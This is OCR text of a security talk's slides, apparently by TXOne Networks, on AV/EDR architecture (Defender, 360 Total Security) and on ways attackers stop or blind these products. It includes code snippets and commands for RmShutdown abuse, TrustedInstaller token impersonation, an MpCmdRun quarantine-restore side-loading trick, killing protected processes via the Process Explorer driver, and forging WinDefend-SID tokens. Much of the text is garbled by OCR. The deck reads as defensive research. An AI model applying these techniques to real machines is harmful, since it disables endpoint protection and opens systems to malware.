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Disassemble Architecture of the Trend AV/EDR

Take Microsoft Defender as Example
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Major Security Solution Architecture

* Service/Agents

e Kernel Driver sighed with WHQL * Run as Userland Process PPL(Antimalware) level
* PsSetCreateProcessNotifyRoutine  Active Protection: Communicate with the kernel driver
* Minifilter IRP Filters * As detection engine
* Detect and block the malicious behaviors, binaries,
_ traffic, etc.
* InProcess Hosting Agent
* Inject DLL agent into Untrusted Process * Regular scan the files on NTFS, event logs, memory, ...
* Inline Hooks for Win32 APIs * Expose its interface for third-part products

*  AMSI (Anti-Malware-Scan-Interface)
* PowerShell, UAC, CLR, MS Office...
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Case Study: Defender Architecture

* Wing: ELAM

* Early Launch Antimalware

* WDFilter is responsible for waking

up/mounting third-party antivirus drivers

with WHQL signatures at boot time

* Win10: WDFilter
* Windows Defender Minifilter Driver
* |/O IRP Filtering

* Network, NTFS, Load Images (PE/DLL),
Registers, etc.

* Practice Architecture
* WDFilter.sys

* MpEngine.dll - Malware Simulator & Pattern
Matching Engine (BlackHat 2018 + 2022)

* MsMpEng.exe - mounts the system service program
of MpEngine.dll and provides the whole machine
AMSI interface communication

8 WinDefend Properties

Gereral Recovery Dependencies Dependents Triggers Other  Comment
Preshutdown timeout: 10000 miliseconds
Service SID: 5-1-5-80-1913148863-3492339771-4165095881-208751896 14
SID type: Unrestricted W

Protection: Light (Antimalware) o
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Self-Protection
* Anti-Tamper
* Monitor the registry to avoid Hijack/Remove/Disable Defender’s configuration
* Attackers abuse Group Policy (GPEDIT.msc) to shut down Defender
* Defender service will refuse any shutdown in further time, after being shutdown 3+ times

* MsMpEng (Service)
* Run with NT Authority\System & PPL (Antimalware) level
* Services.exe will check it alive, or kill the old one (if existing) and launch a new one

EH MsMpEng.exe (3316) Properties

Modules Memory Environment Handles Services
GPU Disk and Metwark Comment Windows
General Statistics Performance Threads Token

* Defender home folder is locked

|1] Antimalware ice Executable
(verified) Microsoft Windows Publisher

* Fully unwritable, even you have SYSTEM/TrustedInstaller privileges or Tokens. e 418,255 e 1010560
Image file name {Win32):
M . C:\ProgramData Microsoft\Windows Defender\Platformi4, 1 b
* The only exception is MpCmdRun.exe
Groups g
\Device\HarddiskVolume4\ProgramDataMicrosoft\Windows | L
Everyone
BUILTINsers Command line: "C:\ProgramData‘Microsoft\Windows Defende
NT AUTHORITY\SERVICE Current directory: ~ NfA
CONSOLE LOGOM Started: 11 minutes and 23 seconds ago (1:09:38 PM 4/13/20
Mame PID User name Protection NT AUTHORITY\Authenticated Users Parent console:
(8] MsMpEng.exe 3316 NTAUTHORITWSYSTEM  Light (Antimalware) NT AUTHORITYThis Orgarization Parentprocess: _servies.exe (616

NT SERVICEWYinDefend

NT AUTHORITY\LogonSessionld_0_147715
LOCAL

BUILTIM‘\Administrators

Mandatory Label\System Mandatory Level

Mitigation policies: ~ N/A

Protection: Light (Antimalware)
Image type: AMDE4 (64-bit)




Name PID Integrity User name
[m SecurityHealthServic.. 7104 System NT AUTHORITY\SYSTEM
[m svchost.exe 7768 System NT AUTHORITY\SYSTEM
[m svchost.exe 8048 System NT AUTHORITY\LOCAL SERVICE
[m5 SgrmBroker.exe 7660 System NT AUTHORITY\SYSTEM
[m svchost.exe 6560 System NT AUTHORITY\ASYSTEM
[m svchost.exe 1868 System NT AUTHORITYALOCAL SERVICE
[m svchost.exe 1496 Medium AAADDRESST18DAT\aaaddress1
[m] svchost.exe 1780 System NT AUTHORITY\LOCAL SERVICE
[m svchost.exe 2888 System NT AUTHORITYASYSTEM
[m svchost.exe 6096 System NT AUTHORITY\SYSTEM
[m| svchost.exe 2172 System NT AUTHORITY\SYSTEM
& ZhuDongFangYu.exe 2468 System NT AUTHORITY\ASYSTEM
E@ 360rps.exe 920 System NT AUTHORITYASYSTEM
[m svchost.exe 9232 System NT AUTHORITY\ASYSTEM
[m svchost.exe 1532 System NT AUTHORITYASYSTEM
[m svchost.exe 4672 System NT AUTHORITY\ASYSTEM
[m] svchost.exe 2540 System NT AUTHORITY\SYSTEM
[m svchost.exe 4832 System NT AUTHORITYASYSTEM
[m] Isass.exe 696 System NT AUTHORITY\SYSTEM
[ fontdrvhost.exe 844 Low Font Driver Host\UMFD-0
[W| csrss.exe 552 System NT AUTHORITY\SYSTEM
I E winlogon.exe 640 System NT AUTHORITY\SYSTEM
[ fontdrvhost.exe 848 Low Font Driver Host\UMFD-1
[ dwm.exe 724 System Window Manager\DWM-1
¥ = explorer.exe 4384 Medium AAADDRESST18DAT\aaaddress1
EEJSecur\'tyHeaIthSystray.... 5484 Medium AAADDRESS18DA1\aaaddress1
v . msedge.exe 7240 Medium AAADDRESS18DAT\aaaddress1
. msedge.exe 7352 Medium AAADDRESS18DAT\aaaddress1
 msedge.exe 7516 Low AAADDRESS18DAT\aaaddress1
. msedge.exe 7524 Medium AAADDRESS18DAT\aaaddress1
. msedge.exe 7568 Untrusted AAADDRESS18DA1\aaaddress1
. msedge.exe 4300 Low AAADDRESS18DAT\aaaddress1
L msedge.exe 3564 Untrusted AAADDRESS18DAT\aaaddress1
. msedge.exe 5388 Untrusted AAADDRESS18DAT\aaaddress1
. msedge.exe 648 Low AAADDRESS18DAT\aaaddress1
. msedge.exe 312 Untrusted AAADDRESS18DAT\aaaddress1
& Autoruns.exe 4076 Medium AAADDRESS18DAT\aaaddress1
MusNotifylcon.exe 2756 Medium AAADDRESS18DAT\aaaddress1
'® ProcessHacker.exe 6388 High AAADDRESS18DA1\aaaddress1
E sesvc.exe 9308 Medium AAADDRESS18DA1\aaaddress1
[Z sesvrexe 9900 Medium AAADDRESS18DAT\aaaddress1

v 17 360sd.exe
v Fy; 360rp.exe
:-B 360tray.exe
17 dep360.exe

AAADDRESS18DA1\aaaddress1
AAADDRESS18DAT\aaaddress1
AAADDRESS18DA1\aaaddress1
AAADDRESS18DAT\aaaddress1

Description

Windows Security Health Se...
Windows [R5 F#H1E
Windows & EFHE

System Guard jz{7E IS
Windows RS S
Windows &3S
Windows RS2
Windows &S E5HE
Windows RS FHE
Windows &S E5HE
Windows [R5 F#H1E
360EFBHHEARSER
36035 RSER

Windows RS S
Windows &3S
Windows RS2
Windows &S E5HE
Windows RS FHE

Local Security Authority Pro...
Usermode Font Driver Host
Client Server Runtime Process
Windows ZEZWHEFE
Usermode Font Driver Host
FEEOEEE

Windows ZiEETEE
Windows Security notificatio...
Microsoft Edge

Microsoft Edge

Microsoft Edge

Microsoft Edge

Microsoft Edge

Microsoft Edge

Microsoft Edge

Microsoft Edge

Microsoft Edge

Microsoft Edge

Autostart program viewer
MusNotifylcon.exe

Process Hacker
360=Eaas IRSEH
360= 2K EE At

3605% FER

360XE LafIEE

3602 Bt ZefpirduiER
360%E WER

CPU

0.03
0.26

044

1.06

142

0.06

1.47

294
048
0.17
0.10

-~
&

Environment Handles Services GPU Disk and Network Comment
General Statistics Performance  Threads Token Modules  Memory
File
»--\.'. 360 EhEHEE SRR
%  (Verified) Beijing Qihu Technology Co., Ltd.
Version: 3.2.2.3095
Image file name:
|C:\ngram Files\360\360safe\deepscan\ZhuDongFangYu.exe | @
Process
Command line: "C:\Program Files\360\360safe\deepscan\zhudongfangyu.exe" | @.

Current directory: ‘ C:\Windows\system32\ |

Started: ‘7 minutes and 31 seconds ago (17:27:54 2022/9/14) |

PEB address: ‘UX?ECUUU (32-bit: 0x7ed000)

| Image type: 32-bit

Parent: ‘ services.exe (680) | Q

Mitigation policies: \DEP (permanent); ASLR | Details

I Protection: Light (Antimalware) I Permissions Terminate

[©) 360rps.exe (920) Bl — O X

Services GPU
Threads

Disk and Network
Modules

Environment Handles Comment

General Statistics Performance Token Memory

File

=, 360%E BEER

| @ (Verified) Qihoo 360 Software (Beijing) Company Limited
Version: 5.0.0.8071

Image file name:
|C:\Program Files\360\360sd\360rps.exe | @

Process

Command line: "C:\Program Fil|es\360\3605d\360rps.exe” | 4

Current directory: ‘ C:\Windows\system32\ |

Started: ‘15 minutes and 18 seconds ago (17:28:47 2022/9/14) |
PEB address: ‘OXaBOOOO | Image type: 64-bit
Parent: ‘ services.exe (680) | @,

Mitigation policies: ‘DEP (permanent); ASLR |

Protection: None

Details

Permissions Terminate




Lifecycle of Security Protection
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21688 Power Up

Or we can power-off the machine
And run our malware while the AV/EDR stopped?

Boost? Notify all the processes Power Off
should clean-up and shutdown

Dri '
ORRNEL (I Drivers and Registry partsAV/EDR user interface program got awake

Start drivers
: I.<erne|. Incorporation of drivers
LIEEIFENCUNY Devices enumeration

CurrentVersion/Run, etc.

Shutdown or Crash

.E).(p!ore.r OS Running
Initialization K

the protection services?

WinLogon
Initialization Session logon initiated

Commencing multiple services

TXOne Networks | Keep the Operation Running

] AV/EDR services (PPL) got awake
Session
[sElF£)dle]aMM Initialize the session
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Case Study of 360 Total Security

e Execution Order of Startup Programs

* Avoid malware execution while antivirus is not yet running
 Why?

* Malware blocking is not allowed even if the AV/EDR drivers and services are already
running, but the GUI program is not yet running.

* AV/EDR cannot determine if the protection is currently turned off or enabled by the user.

HEHHKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Reliability ~ |%&#R R HiE
rempl ab)| (ER3)) REG _SZ
ReserveMa REG SZ "C:\Program Files\360\360sd\360sdrun.exe"
E‘Eta"Dem‘ ab|SecurityHealth  REG EXPAND SZ  %windir%\system32\SecurityHealthSystray.exe
un
RunOnce
B EREs _ O ><

HHF) FEE(D) BEE() WEsk(A) #BEIH)
HEHNHKEY LOCAL MACHINE\SOFTWARF\Microsoft\Windows\CurrentVersion\Run

Reliability || &%k et o=
rempl S (BRI REG SZ CA\Windows\system32\cmd.exe n |EET§IEE1I§HFFULEEHM I
ReserveMa ab|360sd REG S7 "C:\Program Files\360\360sd\36(  C\Users\aaaddress1\Downloads\Sysinte..\Autoruns.exe

RetailDemc |/ a5\SecurityHealth  REG EXPAND SZ  %windir%\system32\SecurityHea

M

< >




How about

InIn360—ExitWindowsEx A%

MERATR3, WROBMFEEAMKAFLEMNET, EREMTRIBNERIAENLE, SEERLUBTELNbIN, F
EE., himz-_-

SE3EE T Windows XPEIEALRE:

1. ZHWindows XPEP EEXNIBZLE, EEXNESHRITIEFSERRSEEE user32.dIiFPE)
ExitWindowsEx 1, HEMEXPERFHIE Csrss.exe EHXHIER, Csrss.exellBBIEEBFREREERN
Winlogon.exe®i [,

2. Winlogon.exelEE|FIE Csrss.exefEFANEEE, Winlogon.exeFHEIEERREMNINIR, MacMir g, Hig
ExitWindowsEx &[0 E&EFEES. Corss.exelfF|Winlogon.EXEMEMLLE, SfAE0EEMEEOMAF#RIE,
ILXEHPIERRE, MRERE—TEBPEEE—THIANIETEES0002H AR HIE RS, Windows XPEET—
TERESHNIEERATAOAPEEERETES. BiIMNEATHETRETHEERF—ERTNA=8a7xA.

3. kEWinlogon.exel§ F/RBAEXtWindowsEx R X F AGME, (XERMMIERIESMSS.EXE.
Winlogon.EXE. Lsass.EXEZE) . WindowsfE£21E RAUARMEHMRFHADE L AFHIEINE: HETEEHERERA
21k, METAP, MEHEXTHE, BT F—TRAAFENELREF. @XTHEEREE. Windows XPEHAT
T AFRTARGERAFIEE.

4, HEEFIESIIRME, Smss.exem TEMMARNER, mESmss.exeif@ANtShutdownSystem@El, =
FRTHREEELGHZEFRAATABRLNUG, BREERMEEIIEEESS X,

T HET Windows XPRIFEALFRIELE, MITESSFBWindowsEEEHLE], SEMExtWindowsExthXHIRIE, &
RMEEOHE, (CIBTRGE, YiEEERT—T, V52RR360fRMERTELBNEET - Ha. £E, &L,
EE ZEMNFUEOHENI DS RIS, 0T ISR, MmkiE=h, FEHEE, Bifnl, @, , . .

FTWM_QUERYENDSESSION, MSDN_EHBHEENHE:, WFEWOT.

https://bbs.pediy.com/thread-97539.htm

Power Off ;)

[D1lImport("Kernel32")]
private static extern bool SetConsoleCtrlHandler(Kernel32ShutdownHandler handler, bool add);

private delegate bool Kernel32ShutdownHandler(ShutdownReason reason);

summary:

summary

static ShutdownEventCatcher()

{
SetConsoleCtrlHandler(new Kernel32ShutdownHandler(Kernel32_ProcessShuttingDown), true);
AppDomain.CurrentDomain.ProcessExit += CurrentDomain_ProcessExit;
AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException;

}

static void CurrentDomain_ProcessExit(object sender, EventArgs e)

{

var args = new ShutdownEventArgs(ShutdownReason.ReachEndOfMain);
RaiseShutdownEvent(args);
}
static void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e)
{
var args = new ShutdownEventArgs(e.ExceptionObject as Exception);
RaiseShutdownEvent(args) ;
}
static bool Kernel32_ProcessShuttingDown(ShutdownReason sig)
{
ShutdownEventArgs args = new ShutdownEventArgs(sig);
RaiseShutdownEvent(args);
return false;

https://gist.github.com/bboyle1234/a225218cf4a6825c058c
=3 txOne
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https://gist.github.com/bboyle1234/a225218cf4a6825c058c

Feb 2022 — Abuse RMShutdown

* https://github.com/gpgpbgbg/R3kill360
 RMShutdown — Restart Manager (RM)

H {
R3k|||360 DWORD dwSessionHandle = @xFFFFFFFF;

WCHAR szSessionKey [CCH_RM_SESSION_KEY + 1] = { 0 };

DWORD dwError = RmStartSession(&dwSessionHandle, @, szSessionKey);
demo}Mﬁ%%lE{’Eﬂg—ﬁ\FE\% , Eblﬁ\%ﬁﬁgaﬂ_'lt%ﬂ'b{ﬁggiﬁﬂKﬁﬁﬂ%ﬂﬂ\*}ﬁﬂq wprintf(L"RmStartSession returned %d\n", dwError);

if (dwError == ERROR_SUCCESS)

{

PCWSTR pszFile = argv[1];
dwError = RmRegisterResources(dwSessionHandle, 1, &pszFile, @, NULL, @,
if (dwError == ERROR_SUCCESS)
{
DWORD dwReason;
UINT i;
UINT nProcInfoNeeded;
UINT nProcInfo = 100;
RM_PROCESS_INFO rgpil[1@0];
dwError = RmGetList(dwSessionHandle, &nProcInfoNeeded, &nProcInfo, rgpi, &dwReason);

faaERasdt |0 e

if (dwError == ERROR_SUCCESS)
{
RmShutdown (dwSessionHandle, @, NULL);

+
RmEndSession(dwSessionHandle);
+

return 0;

g txOne

networks


https://github.com/qpqpbgbg/R3kill360

Only Power On/Off?

GIVE ME MORE!
« .

Could We Stop or Crash the Protection while OS running?
Let’s review the policies of stopping AV/EDR &)
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A New Trend Attacks of Windows Token Forge
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@ Grzegorz Tworek

pes

Looks like the weirdest AV evasion | have ever seen.

[ ] .
#0 — Over-trusted Process ldentity [Pt

B mimikatz 2.2.0 x64 (oe.eo0)

* Over-trusted the mechanism of Process ldentity
* NT Authority SYSTEM but no protection ©?

e Local users can do anything on antivirus after UAC bypass
* Stop AV/EDR Services

* Remove AutoRun Keys

.exe suspended.

mimikatz #

e Full trust of specific Identities: PsSuspend (cmdline), System Update Service ]
twitter.com/Ogtweet/status/1638069413717975046

e Execute malicious behaviors before AV/EDR reboot

Windows Z21%

Hacker View Tools Users Help

;_-’; Refresh <7 Options maj Find handles or DLLs 2% System information j j x avg
Processes Services Network Disk % RBHREBMERTE
Name PID  CPU I/O total ... Private b.. User name Description &2 Microsoft Defender i SHiH HESHERHE

&K avgToolsSvcexe 4272 0.04 31.2 MB NT AUTHORITY\SYSTEM AVG Antivirus
v o AVGSvc.exe 5836 025 34.17 kB/s 100.06 MB NT AUTHORITY\SYSTEM AVG Service

i aswEngSrv.exe 9576 043 262.86k.. 242 MB NT AUTHORITY\ASYSTEM AVG Antivirus engine server HIfEY=F R
&K aswidsagent.exe 5036 0.15 5.36kB/s 20.97 MB NT AUTHORITY\SYSTEM AVG Software Analyzer el e N —— >
&K wsc_proxy.exe 796 3.82 MB NT AUTHORITY\SYSTEM AVG remediation exe f RGBT App RELHHE"
Process Hacker X — % Windows Z21#
Do you want to terminate aswEngSrv.exe? ¢ BEEBHIR1TE: Microsoft Windows Publisher

Terminating a process will cause unsaved data to be lost.
Are you sure you want to continue?

Terminate Cancel

g txOne
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#1 - Trustedinstaller

e Qver-trusted the mechanism of Process Identity
* Full trust of specific tokens: System Update Service (TrustedInstaller)
* Have the ability to shutdown all the high privileged services
* Even Defender ©
e Since Sep 2021 ~ Feb 2022

S pplfRIF X FWindows Defender

FAAREERMERIF (3 15889) -Windows Defender B
i

A EARKHWindows DefenderfR 5581 1) ﬁﬁ
Windows DefenderfESTiAIETT - MMS

e Shutting Down Anti-malware Protection

1HRIRFA R Etrustedinstaller

RERBEEEEETaspEnEl AMBRERE Ring 3 KRBT » N EEMEREHEL TS ( Part 1 ) - Windows Defender Antivirus

FERFZAFEEN  SEE 0 FHAR ) REEREESEN
¢ 1604 & halov

ERE - BZNER—THEIRRAAE
8% » KENTHRATRLSEENRBRN - Bl - EABH
e

1 ‘ https://github.com/@xbadjuj

FAFE M Windows Defender FH& + EXERAR LR BESH - B

ARBUET RINBEATHSENER - (click for better images quality)

1. BINEEREFSEHIIER T RMALLE Windows Defender it . . .
2. GRS R Bl PsProtectedSignerAntmaivare-Lign] | @IWaYSs wanted to start this series, executing code inside antiviruses

3. MRARZIHERIHER — T O » REE DM SECUFity agents.

People always underestimated Ring 3 code execution, as it seems to
be useless in case of a cyber attack. The AV agents usually defeat the
malware before it starts doing serious damage, unlike being in ring 0,
attackers just override callbacks and hooks and proceed to do
whatever they want.

TrustedInstaller, parando
Windows Defender

= 27 de septiembre de 2021 Por Roberto Amado

A menudo, durante un proceso de intrusion puede sernos de
utilidad disponer de la capacidad de deshabilitar las medidas de
defensa del equipo objetivo. Para aquellos pentesters que ya
hayan probado las mieles de la solucion de seguridad embarcada
por defecto en los sistemas operativos de Microsoft, Windows
Defender, estaran de acuerdo conmigo que ha mejorado
sustancialmente desde sus primeras releases, en especial las
ultimas versiones con capacidad en nube para Windows 10. Por lo
tanto, es muy probable que nos enfrentemos a este antivirus
durante un proceso de intrusion, mas pronto o mas tarde.
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#1 - Trustedinstaller

Mombre: Servicio Antivirus de Microsoft Defender
Propietario: SYSTEM Cambiar
Permisos Auditonia

Para obtener informacion adicienal, haga deble clic en una entrada de permiso. Para modificar una entrada de permise, seleccione |a entrada y haga
clic en Editar (si esta disponible].

Entradas de permiso:

Tipe Entidad de seguridad Acceso Heredada de
HR Permitir Usuaries (nUsuarios) Especial Ninguno
H8 Permitir SYSTEM Especial Ninguno
AL Permitir Administraderes (O\Administradores) Especial Ninguna
H8 Permitir INTERACTIVE Especial MNinguno
SR Permitir SERVICIO Especial Ninguno
2 Permitir Trustedinstaller Full control Ninguno
a Permitir WinDefend Full control MNinguno
€ >

porser | | it

Deshabilitar herencia

Entracda de permiso para Servicio Antivirus de Microsoft Defender

Entidad de segundad: Administraderes (O\Administradores) Seleccionar una entidad de sequridad

Tipe: Perrmitir

Permisos basicos:
[ Full control
] Query status
[] Query configuration
[[] Modify configuration
[] Enumerate dependents

Permisos especiales

L

Start

[Jstep

[]Pause / continue

[] Interrogate

[] User-defined control

www.securityartwork.es/2021/09/27/trustedinstaller-parando-windows-defender

= txOne
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#1 - Trustedinstaller

General Statistics Performance Threads Token Modules Memory Environment Handles GPU Disk and Network Comment Windows
User: NT AUTHORITY\SYSTEM
User SID:  §-1-5-18
Session: 4 Elevated: N/A Virtualized: Not allowed
Name Status M o "
Privileges Entrada de permiso para Token
SeTcbPrivilege Enabled!
SeProfileSingleProcessPrivilege Enabled Entidad de seguridad: Administradores (O\Administradores) Seleccionar una entidad de seguridad
SelncreaseBasePriorityPrivilege Enabled; =
Tipo: Permitir v
SeCreatePermanentPrivilege Enabled
SeDebugPrivilege Enabled
SeAuditPrivilege Enabled
SeChangeNotifyPrivilege Enabled Peimisozavanzacos:
SeImpersonatePriviege Enabled []Full control [ Impersonate
- = [J Adjust privileges Query
L___SeCreateGlobalPrivile
Configuracién de sequridad avanzada para Token [m] X Entrada de permiso para Token
Nombre: Token Entidad de seguridad: Administrad, (O\Administrad Seleccionar una entidad de seguridad
Propietario: SYSTEM Cambiar Tipo: Permitir T

Nivel de integridad: Nivel obligatorio del sistema

Permisos Auditoria
Permisos avanzados:

Para obtener informacion adicional, haga doble clic en una entrada de permiso. Para modificar una entrada de permiso, seleccione la [JFull control [Jimpersonate
entrada y haga clic en Editar (si esta disponible). [ Adjust privileges 4 Query
Entradas de permiso: [[] Adjust groups [[] Query source

Tipo  Entidad de seguridad Acceso Heredada de [JAdjust defaults [JDelete
S8 Perm.. SYSTEM Full conitrol Ninguno [[J Adjust session ID [[]Read permissions
S8 Perm.. DERECHOS DE PROPIETARIO Execute Ninguno [[J Assign as primary token [[J Change permissions
a Perm.. Full control Ninguno [JDuplicate [[] Take ownership

82 Perm.. Administradores (O\Administradores) Query Ninguno -
Entrada de permiso para Token

Entidad de seguridad: SYSTEM Seleccionar una entidad de seguridad
Agregar Quitar Tipo: Permitir bt

Deshabilitar herencia

Aceptar Cancelar Aplicar Permisos avanzados:
[ Full control [ Impersonate
Query
] Query source
Delete

[“] Read permissions
Change permissions
[“] Take ownership




Trustedinstaller

* Patched at Feb 2022

* Trustedlnstaller got removed from the allowed list
* Only Defender can disable Defender

B Advanced Security Settings for Microsoft Defender Antivirus Service

MName: Microsoft Defender Antivirus Service
Owner: SYSTEM Change
Permissions Auditing Effective Access

For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit (if available).

Permission entries:

Type Principal Access Inherited from
8% Allow  Users (ADR-PC\Users) Special Mone
8% Allow  SYSTEM Special Mone
8% Allow  Administrators (ADR-PC\Administrators) Special Mone
8% Allow  INTERACTIVE Special Mone
S8 Allow  SERVICE Special Mone
‘ Allow  WinDefend Full control MNone

[
Administrator
(High Integrity)

- h 4

t QpenProcess()

OpenProcess()

Trustedinstaller.exe

TI TOKEN

OpenProcessToken()

WINLOGON.Q}.B

SYSTEM TOKEN

OpenProcessToken

A

-

A

ImpersonateLoggedOnUser{}]
|

B . Trustedinstaller

—e

mpersonateLoggedOnUser[j:-J|

System &

Stop WinDefend
Service

g txOne
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#2 - Use Defender to Quarantine Defender

‘ Daniel Santos
Feb 17 © Listen

4 min read

Bypassing Defender’s self-protect mechanism

I recently started working as a Red Team lead, and figuring out ways to bypass
The MpCmdRun -Restore argument allows you to restore files from Defender’s antivirus engines became a regular thing. I am a huge fan of Microsoft Defender,

quarantine through the command line. To list all files in the quarantine, one can and it gives me a hard time in every operation I run.

I've recently reviewed recent research on disabling Defender, and it seems most

use the “MpCmdRun -Restore -ListAll” command.
P threat actors will rely on some of the following to disable Defender:

I've recently reviewed recent research on disabling Defender, and it seems most

threat actors will rely on some of the following to disable Defender:

¢ The Set-MpPreference PowerShell function

The MSFT_MpPreference WMI class
» Impersonating Trusted Installer
» Redirecting \Device\BootDevice

A Kernel driver abuse
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#2 - Use Defender to Quarantine Defender

Reboot required.

Works well on the latest Windows 11

Malicious files cannot be removed :(

-

Defender will be permanently Disabled.

£y

AMAZING s

-
g
y

1 Generate malicous EICAR payload for Defender to Guarantine
x50 $H+H=% ZWSLC.dLL

1 Move Guarantined SLC.dll to Defender's directory for DLL Side-Loading
MpCmdRun.exe —Restore -Mame Virus:DOS/EICAR_Test File -Path "C:‘\ProgramData‘\Microsoft\Windows Defender\Platform\4.18.2201.10-0"
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#3 - Kill PPL Process by Process Explorer’s Driver

* BYOVKD

Bring Your Own Vulnerable Kernel Driver attack
Capcom, MSI, DELL, Intel, etc.

Not just LPE :)

Use to crash your security solution

Bring Microsoft’s Driver...

e Sysinternals Suite

* Process Explorer’s Driver ©

Backstab

Kill EDR Protected Processes

Have these local admin credentials but the EDR is standing in the way? Unhooking or direct syscalls are not
waorking against the EDR? Well, why not just kill it? Backstab is a tool capable of killing antimalware protected
processes by leveraging sysinternals' Process Explorer (ProcExp) driver, which is signed by Microsoft.

Usage: backstab.exe <-n name -p PID> [options]
-n, Choose process by name, including the .exe suffix
—p, Choose process by PID
-1, List handles of protected process
-k, Kill the protected process by closing its handles
=X, Close a specific handle
—d, Specify to ProcExp will be extracted
Specify service name registry key
Unload ProcExp driver
, adds SeDebugPrivilege
this menu

Examples:

backstab.exe -n cyserver.exe -k [kill cyserver]

backstab.exe -n cyserver.exe -x E4C [Close handle E4C of cyserver]

backstab.exe -n cyserver.exe -1 [list all handles of cyserver]

backstab.exe —p -k -d c:\\driver.sys [kill protected process with PID 4326, ProcExp driver to C:\ drivel
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#3 - Kill PPL Process by Process Explorer’s Driver

( HANDLE ProcExpOpenProtectedProcess(ULONGLONG ulPID)
. P Expl ACL {
roceSS X O re r S HANDLE hProtectedProcess = NULL;
DWORD dwBytesReturned = @;

* NamedPipe not strict enough 0L et + P,

® Eve ryon e Ca n inte ra Ct With it With Out EO P ret = DeviceloControl(hProcExpDevice, IOCTL_OPEN_PROTECTED_PROCESS_HANDLE, (LPVOID)&ulPID, sizeof(ulPID),

&hProtectedProcess,

* Sure, mounting a driver require UAC elevate? sizeof (HANDLE),

&dwBytesReturnad,

But many Taiwan solution rely on this driver )
® for What? BOOL ProcExpKillHandle(DWORD dwPID, ULONGLONG usHandle) {

PVOID lpObjectAddressToClose = MNULL;
PROCEXP_DATA_EXCHANGE ctrl = { 8 };
BOOL bRet = FALSE;

* OpenProcess a PPL (antimalware) Process

 List all the opened handles of any process

/* find the object address */

® C | Ose H a n d | e a C h Ose n h a n d |e fro m Ri n g_o lpObjectAddressToClose = GetObjectAddressFromHandle(dwPID, (USHORT)usHandle);

 ...oh nice. Crash Everywhere ©

/* populate the data structure */
ctrl.ulPID = dwPID;
ctrl.ulsize = @;
HANDLE ConnectToProcExpDevice() ctrl.ulHandle = usHandle;
1 ctrl.lpObjectAddress = lpObjectAddressToClose;
//hProcExpDevice = CreateFileA("%\\\.\\PROCEXP152", GEMERIC_ALL, @&, NULL, OPEM_EXISTING, @, MNULL);
/* send the kill command */
hProcExpDevice = CreateFileA("\WA\WW\WPROCEXPLS2", GENERIC_ALL, @, NULL, OPEN_EXISTIMG, FILE_ATTRIBUTE_MORMAL, MULL}); ’
bRet = DeviceloControl{hProcExpDevice, IOCTL CLOSE_HANDLE, (LPVOID)&ctrl, sizeof(PROCEXP_DATA_EXCHANGE), MULL,
e,
NULL,
NULL)Y;



#4 - Forge a Whole New Token

fa)
]

) Wi nTC B p rivi | ege Processes Threads Handles Sessions Services Logon User  |tilities

Logon User

¢ Own the ability to create new token & add any service SID O tomal ) Seniecs ¢ oer

UJsemame: SYSTEM

* OK, You want that cool token like WinDefend? Domain:  WORKGROUP
Passward:
* Why don’t you build a totally new one yourself © Logon Type:  Netwok .
* Still Works til May 2023 Create
Service Accounts
) E | i Local Service Network Service | System
Xploit __Sysen ]

Add Service Sid  WinDefend

e Steal the token from weak WinTCB services

*  Winlogon, TrustedInstaller, etc.

* Use the token to create a new cmd.exe with "WinDefend" SID

[a)

[+ ]
Y We Ca n Sto p D efe n d e r' S e rV | Ce I n th e n eW C m d n OW ) Main Details Groups  Prvieges Default Dacdl Misc  Operations  Security
Name Aags
BUILTIN"Administrators Enabled. Owner
@ orast BUILTIN'Lsers Mandatory, Enabled
@O CONSOLE LOGON Mandatory, Enabled
Everyone Mandatory, Enabled
Yah- trusted installer can no longer stop defender LOCAL Mandatory, Enabled
service- though its easier then in a long time to get rid NT AUTHORITY Authenticated Users Mandatory, Enabled
of thOUgh ) NT AUTHORITY LogonSessionld_0_530962870 Mandatory, Enabled, Owner, Logonld
NT AUTHORITY LogonSessionld_0_531189750 Mandatory, Enabled, Logonid
NT AUTHORITY\SERVICE Mandatory, Enabled
When we have TCB we can just ask nicely for getting NT AUTHORITY\SYSTEM None
the Windefend group added to our token E SE;SEELTT:JE;SSEEH“’” ME::;::’%WE::'E‘*

NT SERVICE\WinDefend Mandatory, Enabled



capa-rules

- Windows 221

DLE-Abuse

L o BAINEE

ke

A BRI - e i = .
<A H AL _ % Refresh {3 Options | #A Find handles or DLLs :#* System information \ 1 [ X | o Windefend x

wiE S /4711 R . 4 2 )
% 1m: 2023/4/11 | 06: CIANAAIIY Processes Services Network Disk Firewall

508 - ) Name a Display name Type Status Start type

DELL CS_... LR L C D [#] WinDefend Microsoft Defender Antivirus Service  Own process Running  Auto start

b | CPU usage: 20.42% Physical memory: 12.09 GB (38.09%) Free memory: 19.65 GB (61.91%)
YBERSECEE
fe=Tatz

>a

PS C:\Users\aaaddressl> C:\toolchain\Tokenvator.exe GetTrustedInstaller Run ‘
>> /Command:




Windows 2221

Forge a Whole New Token e

® BERECEL - SUMEFED -

RN EFRE

e This awesome trick totoally stop Real-Time Protection.... Temporary Orz.
BRI %?
* However, Defender will be resume very soon :(

* Victims can easily wake up Defender service in Security Center panel el ——
* Windows Lock Screen got unlocked / Resume from Sleep Mode
* Defender Anti-Tamper Protection

e You can stop the service for "ony 3 times"

* Then you cannot stop it even you get WinDefned :(

Main Details  CGroups  Privileges  Defoult Dacl  Misc Operations  Security

[FH Process Hacker [ADR-PCh\aaaddress1] (Administrator)

Hacker View Tools Users Help
%, Refresh ‘¢ Options | @ Find handles or DLLs %% Systemn information | | u::}l *

o] winDef
Processes Services Network Disk Firewall

Iy
Mame Display name Type Status Start type
W] WinDefend Microsoft Defender Antivirus Service Own process Stopped Auto start




#5 - Sandboxing Your Antivirus ©

 Elastic: Sandboxing Antimalware Products for Fun and Profit
* WiInTCB privilege have the ability to reset SACL for another system process

* Also, process IL (Integrity Level) can be dynamically modifed without WinTCB ©

Sandboxing Tokens

Some applications, such as web browsers, have been repeated targets of exploitation. Once an attacker
successfully exploits a browser process, the exploit payload can perform any action that the browser process can
perform. This is because it shares the browser’s token.

To mitigate the damage from such attacks, web browsers have moved much of their code into lower-privilege
worker processes. This is typically done by creating a restricted security context called a sandbox. When a
sandboxed worker needs to perform a privileged action on the system, such as saving a downloaded file, it can ask
a non-sandboxed “broker” process to perform the action on its behalf. If the sandboxed process is exploited, the
goal is to limit the payload’s ability to cause harm to only resources accessible by the sandbox.

